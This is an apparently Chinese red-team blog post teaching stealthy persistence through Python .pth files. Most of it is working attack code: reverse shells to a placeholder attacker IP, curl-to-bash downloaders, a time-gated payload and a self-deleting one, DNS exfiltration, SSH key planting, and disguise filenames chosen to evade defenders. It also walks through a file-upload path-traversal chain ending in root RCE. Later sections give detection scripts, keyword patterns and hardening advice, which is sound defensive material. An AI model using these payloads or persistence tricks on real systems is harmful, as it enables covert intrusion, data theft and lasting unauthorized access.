你清了 crontab,删了 webshell,杀了可疑进程,重启了服务器。
然后你的 Python 服务一启动,后门又回来了。
你甚至不知道它藏在哪。
0x00 前言
在红队渗透中,拿到服务器权限只是开始。真正考验技术的是:如何在蓝队的眼皮底下,把权限稳稳地留住。
传统的持久化手段——crontab、systemd 服务、.bashrc 注入、webshell——蓝队早就烂熟于心,EDR 和 HIDS 也都有对应的检测规则。
今天介绍一个冷门但极其实用的持久化技巧:Python .pth 文件后门。
它有几个让蓝队头疼的特性:
- ✅ 主流杀软和 EDR 不检测
.pth 文件内容 - ✅
pip list 看不到,ps aux 找不到
本文面向安全研究人员和红蓝对抗从业者,所有技术仅用于授权测试环境。
0x01 原理:30秒搞懂 .pth 文件
Python 有一个 site 模块,在解释器启动时自动加载。它会扫描所有 site-packages 目录中的 .pth 文件,逐行处理:
以 # 开头 → 跳过(注释)空行 → 跳过以 import 开头 → exec() 执行 ← 就是这行,一切的关键其他内容 → 当作路径添加到 sys.path
对,你没看错。只要一行代码以 import 开头,Python 启动时就会自动执行它。
这不是漏洞,这是 Python 的官方设计。CPython 源码 Lib/site.py 中的原文:
if line.startswith(("import ", "import\t")): exec(line)continue
每次 Python 进程启动,都会触发。每次。无条件。
0x02 Windows 实战:5秒弹计算器
先在本地验证一下这个机制。
第一步:找到你的 site-packages 目录
python -c "import site; print(site.getsitepackages())"
输出类似:
['C:\\Python311', 'C:\\Python311\\Lib\\site-packages']
第二步:写入 .pth 文件
打开 CMD(管理员),一行命令:
echo import os; os.system("calc.exe") > C:\Python311\Lib\site-packages\setuptools-compat.pth
⚠️ 注意文件名:setuptools-compat.pth,看起来像是 setuptools 的兼容性配置。蓝队扫一眼目录,大概率不会注意到。

第三步:触发
随便运行一个 Python 命令:
python -c "print('hello')"
计算器弹出来了。

甚至 pip list、pip install xxx 也会触发——因为 pip 本身就是 Python 脚本。
第四步:清理(测试完记得删)
del C:\Python311\Lib\site-packages\setuptools-compat.pth
0x03 Linux 实战:反弹 Shell
在实际渗透场景中,目标通常是 Linux 服务器。
场景设定
- 目标:Ubuntu 服务器,运行 Flask/Django/FastAPI 等 Python Web 服务
- 已获取:root 权限(或对 site-packages 有写权限的用户)
第一步:确认 site-packages 路径
python3 -c "import site; print(site.getsitepackages())"# 输出: ['/usr/lib/python3/dist-packages', '/usr/lib/python3.12/dist-packages']
第二步:写入后门
echo'import os; os.system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\" &")' > /usr/lib/python3/dist-packages/distutils-compat.pth
文件名选择 distutils-compat.pth,混在一堆合法的 .pth 文件中间。
第三步:等待触发
以下任何一种情况都会触发后门:
| |
|---|
| PM2/Supervisor/systemd 管理的 Flask/Django 等 |
| pip install |
| |
| python3 xxx.py |
| |
在攻击机上监听:
nc -lvnp 4444
目标服务器上任何 Python 进程启动,shell 就回来了。
0x04 进阶:让后门更隐蔽
基础版的反弹 shell 太粗暴了。实战中需要更精细的控制。
4.1 条件触发:只在特定时间执行
import os, time; exec("h=time.localtime().tm_hour\nif 2<=h<=4: os.system('curl http://ATTACKER/beacon.sh|bash &')")
只在凌晨 2-4 点触发,降低被发现的概率。白天蓝队排查时完全静默。
4.2 单次触发 + 自删除
import os; exec("p='/usr/lib/python3/dist-packages/distutils-compat.pth'\nos.system('curl http://ATTACKER/payload.sh|bash &')\nos.remove(p)")
执行一次后自动删除 .pth 文件。适合只需要回连一次下载更高级植入物的场景。
4.3 DNS 外带数据(无直接连接)
import os; os.system("nslookup $(whoami).$(hostname).attacker.com &")
不建立 TCP 连接,通过 DNS 查询外带信息。绕过出站流量监控。
4.4 写入 SSH 公钥(无需回连)
import os; exec("d='/root/.ssh'\nos.makedirs(d,exist_ok=True)\nf=open(d+'/authorized_keys','a')\nf.write('\\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@pwn\\n')\nf.close()\nos.chmod(d+'/authorized_keys',0o600)")
不需要反弹 shell,直接写入 SSH 公钥。之后用 SSH 正常登录,流量完全加密,和管理员的正常 SSH 登录无法区分。
4.5 伪装文件名参考
好的伪装名应该看起来像合法的 Python 包配置:
distutils-precedence.pth ← 真实存在的文件名setuptools-compat.pth ← 看起来像 setuptools 的兼容层pip-system-certs.pth ← 看起来像证书配置_virtualenv.pth ← 看起来像 virtualenv 的配置certifi-system-store.pth ← 看起来像证书存储配置
0x05 真实案例:文件上传 → .pth 注入 → RCE
这不是假设场景。以下是我在一次真实代码审计中发现的完整攻击链。
目标系统
一个 Flask Web 应用,提供文件上传功能(头像上传)。
漏洞链
漏洞 1:JWT 密钥硬编码
# config.pyJWT_SECRET = os.environ.get('JWT_SECRET', 'your-jwt-secret-key-change-in-production')
服务器没有设置环境变量,使用了默认的弱密钥。攻击者可以伪造任意 JWT。
漏洞 2:文件上传无扩展名校验
@app.route('/upload/avatar', methods=['POST'])@verify_tokendefupload_avatar(): openid = request.user['openid'] # 来自 JWT ext = file.filename.rsplit('.', 1)[-1] # 无白名单校验 filename = f"{openid}-{int(time.time())}.{ext}" filepath = os.path.join(AVATARS_DIR, filename) file.save(filepath)
没有限制上传文件的扩展名,.pth 文件可以直接上传。
漏洞 3:路径遍历
JWT 中的 openid 字段直接拼入文件路径。Python 的 os.path.join() 有一个特性:当后续参数是绝对路径时,会完全忽略前面的路径。
os.path.join('/opt/app/uploads/avatars', '/usr/lib/python3/dist-packages/evil')# 结果: /usr/lib/python3/dist-packages/evil# AVATARS_DIR 被完全忽略了!
完整攻击链
Step 1: 伪造 JWT openid = "/usr/lib/python3/dist-packages/backdoor"Step 2: 上传 evil.pth 文件内容: import os; os.system("curl http://attacker.com/shell.sh|bash &")Step 3: 文件落地 filepath = os.path.join(AVATARS_DIR, "/usr/lib/python3/dist-packages/backdoor-1740000000.pth") 实际路径 = /usr/lib/python3/dist-packages/backdoor-1740000000.pthStep 4: 等待任意 Python 进程重启 PM2 自动重启 / cron 任务 / 管理员操作Step 5: .pth 文件被 site.py 自动执行 → 反弹 shell → root 权限
三个中低危漏洞组合,直接打穿到 root shell。
0x06 为什么杀软检测不到
对比一下 .pth 后门和传统后门的检测难度:
.pth 后门的执行是 Python 解释器的正常行为(site.py 的设计功能),不是漏洞利用。从进程树看,就是 Python 启动时的正常初始化流程。
主流 HIDS/EDR 的检测规则通常覆盖:
/etc/crontab、/var/spool/cron//etc/init.d/、systemd 服务文件.bashrc、.profile、.bash_profile/etc/ld.so.preload(LD_PRELOAD 劫持)
但几乎没有产品会扫描 site-packages/*.pth 文件的内容。
0x07 蓝队检测:如何发现 .pth 后门
既然讲了攻,也要讲防。
7.1 一键扫描脚本
# 扫描所有 site-packages 中包含可疑关键词的 .pth 文件find / -name "*.pth" -path "*/site-packages/*" 2>/dev/null | whileread f; doif grep -qiE "(os\.system|subprocess|os\.popen|socket|exec\(|eval\(|urllib|requests\.|curl|wget|bash|/bin/sh|reverse|/dev/tcp)""$f"; thenecho"[!] 可疑: $f" cat "$f"echo"---"fidone
Windows 版本(PowerShell):
Get-ChildItem -Path C:\ -Recurse -Filter "*.pth" -ErrorAction SilentlyContinue | Where-Object { $_.FullName -like "*site-packages*" } | ForEach-Object { $content = Get-Content $_.FullName -Raw if ($content -match "os\.system|subprocess|os\.popen|socket|exec\(|eval\(|calc|cmd|powershell") { Write-Host "[!] 可疑: $($_.FullName)" -ForegroundColor Red Write-Host $content Write-Host "---" } }
7.2 基线对比
最有效的检测方法是建立 .pth 文件基线:
# 建立基线(在确认安全的环境中执行)find / -name "*.pth" -path "*/site-packages/*" 2>/dev/null | sort > /root/.pth_baseline.txt# 定期对比find / -name "*.pth" -path "*/site-packages/*" 2>/dev/null | sort | diff /root/.pth_baseline.txt -
任何新增的 .pth 文件都值得关注。
7.3 文件完整性监控
# 使用 inotifywait 实时监控(需要安装 inotify-tools)inotifywait -m -r -e create,modify,delete \ /usr/lib/python3/dist-packages/ \ /usr/local/lib/python3.*/dist-packages/ \ --include '\.pth$' \ --format '%T %w%f %e' --timefmt '%Y-%m-%d %H:%M:%S'
7.4 HIDS 规则建议
如果你是安全运营,建议在 HIDS 中添加以下规则:
# 监控 site-packages 目录下 .pth 文件的创建和修改-rule_name:"Python .pth 文件变更"severity:highfile_monitor:paths:-/usr/lib/python*/dist-packages/*.pth-/usr/local/lib/python*/dist-packages/*.pth-/home/*/.local/lib/python*/site-packages/*.pthevents:[create,modify]alert:"检测到 site-packages 中 .pth 文件变更,可能为持久化后门"
0x08 防御加固
8.1 文件系统权限(最重要)
# 确保 site-packages 目录只有 root 可写chmod 755 /usr/lib/python3/dist-packageschown root:root /usr/lib/python3/dist-packages# 关键:不要以 root 运行 Python 服务!# 创建专用用户useradd -r -s /sbin/nologin -d /opt/app appuser# 以 appuser 身份运行服务su -s /bin/bash -c "python3 app.py" appuser
如果 Python 服务不以 root 运行,攻击者即使有文件写入漏洞,也无法写入 root 所有的 site-packages 目录。
8.2 虚拟环境隔离
# 使用 venv,每个应用独立的 site-packagespython3 -m venv /opt/app/venvsource /opt/app/venv/bin/activate# venv 的 site-packages 与系统隔离# 攻击者需要知道 venv 的精确路径才能投放 .pth 文件
8.3 应用层防御(针对文件上传场景)
import os# 1. 文件扩展名白名单ALLOWED_EXTENSIONS = {'jpg', 'jpeg', 'png', 'gif', 'webp'}# 2. 路径边界检查defsafe_save(file, base_dir, filename): filepath = os.path.join(base_dir, filename)# 用 realpath 解析所有符号链接和 ../ real_base = os.path.realpath(base_dir) real_path = os.path.realpath(filepath)ifnot real_path.startswith(real_base + os.sep):raise ValueError("路径遍历攻击") file.save(real_path)# 3. 用户输入不要直接拼入文件路径# ❌ 错误filename = f"{user_input}-{timestamp}.{ext}"# ✅ 正确import uuidfilename = f"{uuid.uuid4().hex}.{ext}"
0x09 .pth 后门 vs 其他持久化手段
.pth 后门的最大优势是隐蔽性,最大限制是目标必须有 Python 环境。但考虑到现在大量服务器都运行 Python 应用(Flask、Django、FastAPI、Celery、Airflow...),这个限制其实不算大。
0x0A 注意事项与踩坑点
踩坑 1:必须写在一行
# ❌ 错误 — 不会执行 os.systemimport osos.system("calc.exe")# ✅ 正确 — 用分号连接在同一行import os; os.system("calc.exe")
site.py 逐行独立判断,只有以 import 开头的那一行会被 exec()。第二行 os.system(...) 不以 import 开头,会被当作路径处理,不会执行。
踩坑 2:Windows echo 的引号问题
:: ❌ CMD 中双引号会被吃掉echo import os; os.system("calc.exe") > evil.pth:: 文件实际内容可能变成: import os; os.system(calc.exe):: 解决方案:用 PowerShell 或 Python 写入
PowerShell 写入更可靠:
Set-Content -Path "C:\Python311\Lib\site-packages\evil.pth" -Value 'import os; os.system("calc.exe")' -NoNewline
或者用 Python 自己写:
python -c "open(r'C:\Python311\Lib\site-packages\evil.pth','w').write('import os; os.system(\"calc.exe\")')"
踩坑 3:UTF-8 BOM 头
Windows 记事本保存的文件可能带 BOM(EF BB BF),导致第一行变成 \xefimport os,不再匹配 startswith("import ")。
用 VS Code 保存时选择 "UTF-8"(不带 BOM)。
踩坑 4:venv 环境
如果目标 Python 运行在 venv 中,系统级 site-packages 中的 .pth 文件可能不会被加载(取决于 pyvenv.cfg 中 include-system-site-packages 的设置)。
需要把 .pth 文件放到 venv 自己的 site-packages 中:
# 找到 venv 的 site-packages/opt/app/venv/lib/python3.12/site-packages/
踩坑 5:-S 参数
python -S app.py # 跳过 site.py,.pth 文件不会被处理
如果目标使用 -S 参数启动 Python,.pth 后门无效。但实际生产环境中几乎没有人用 -S,因为它会导致第三方包无法导入。
0x0B 总结
.pth 文件后门是一个被严重低估的持久化技术。它利用的不是漏洞,而是 Python 的设计特性——site.py 模块在启动时自动执行 .pth 文件中以 import 开头的行。
对红队来说,它是一个隐蔽性极高的权限维持手段,特别适合 Python 技术栈的目标环境。
对蓝队来说,现在就应该把 site-packages/*.pth 加入你的安全基线和文件完整性监控中。
记住:你的 site-packages 目录里,可能藏着你从未审计过的代码,而它们每次 Python 启动都在执行。
免责声明:本文所述技术仅用于授权安全测试和安全研究。未经授权对他人系统进行渗透测试属于违法行为。请遵守相关法律法规。
觉得有用?转发给你的安全团队和小伙伴。
关注公众号,获取更多实战攻防技术。